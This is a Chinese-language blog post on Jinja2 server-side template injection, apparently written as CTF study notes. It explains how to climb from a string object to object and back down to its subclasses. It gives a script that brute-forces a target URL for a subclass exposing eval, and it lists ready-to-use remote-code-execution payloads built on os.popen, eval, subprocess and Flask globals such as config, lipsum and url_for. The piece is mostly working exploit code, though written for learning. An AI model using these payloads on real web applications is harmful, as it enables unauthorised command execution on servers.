SSTI模板注入个人解读

模板框架:
    python:jinja2 mako tornado django
    PHP:smarty twig
    java:jade velocity
        等等

# Python模板注入
    Jinja2模板为例子,源于hello-ctf.com

<font color="#d99694"><u>明确知识点:</u></font>
- 对象:在Python中万物皆对象,[]、""、{}等都是不同类型的对象
- 继承:我们知道对象是类的实例,类是对象的模板。在我们创建一个对象时就对一个类进行了实例化,而所有的类都继承于一个基类<font color="#ffff00">object</font>。<font color="#00b0f0">值得注意的是如果定义类时没有指定继承,那么其默认继承自<font color="#ffff00">object</font></font>。
- 魔术方法:于是乎如果我们就可以有这样一个想法,<font color="#ffff00">子->object->子</font>,这样我们就能访问我们本无法访问的函数等等,这一过程中所用到的函数就是魔术方法,<font color="#ffff00">例如__class__</font>。

好了,那么我们的思路就很明确了,那就是<font color="#ffff00">创建对象->拿基类->找子类->构造命令或执行文件</font>。

## 拿基类
在该处我们有一些常用的魔术方法如下
````python
__class__     类的一个内置属性,表示实例对象的类。
__base__      类型对象的直接基类
__bases__     类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__       查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
````

```python
>>>"".__class__
<class 'str' >
>>>"".__class__.__base__  我们创建了""并返回直接其类,根据理论可猜测其输出应是object类
<class 'object' >
```
同理除了字符串/列表/字典/元组,已有模块例如request也可拿到基类,只不过过程稍微复杂。
当然如果不想弄清其中的逻辑,<u>我们也可以用索引的方法偷懒</u>。
```python
>>>"".__class__.base
>>>"".__class__.bases[0]
>>>request.__class__.bases[-1]  #也可以通过多次__base__实现
>>>"".__class__.more[-1]
他们最终的效果是等价的,返回object类
```

## 找子类
用__subclasses__()可以获取所有子类,<font color="#f79646">返回列表[]</font>。
![[image-20231129164759866 1.png]]
```python
"".__class__.base.__subclasses__() [num].__init__.__globals__
通过subclasses()[num]索引进入所需子类,
__init__    初始化类,返回function
__globals__ 用法 函数名.__globals__获取函数空间下所有可用的module、方法和变量
也就是说我们通过以上操作进入了子类内,接着可以实现各种调用
__builtins__ 简单来讲就是实现一些内置函数调用,用于__globals__无法直接调用的情况,比如说eval函数
```
当然手动查找num不高效,贴代码。


```python
url = ""
def find_eval(url):
    for i in range(500):
        data = {
            'code': "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}",
        }
        res = requests.post(url, data=data, headers=headers)
        if 'eval' in res.text:#要用到的命令
            print(data)

if __name__ == "main":
    find_eval(url)
```

## 命令执行
```python
# eval
x[NUM].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')

# os.py
x[NUM].__init__.__globals__['os'].popen('ls /').read()

# popen
x[NUM].__init__.__globals__['popen']('ls /').read()

# _frozen_importlib.BuiltinImporter
x[NUM]["load_module"]("os")["popen"]("ls /").read()

# linecache
x[NUM].__init__.__globals__['linecache']['os'].popen('ls /').read()

# subprocess.Popen
x[NUM]('ls /',shell=True,stdout=-1).communicate()[0].strip()
```

## 其他RCE
```python
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}
```


## 总结
<font color="#f79646">说到底SSTI注入,就是一条链的寻找,是一个由子到父再到子的过程,payload也只是构造内容上的细微区别。</font>
    PS:师傅们说实战中几乎不存在这种漏洞,大哭
![[image-20231128173610525.png]]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值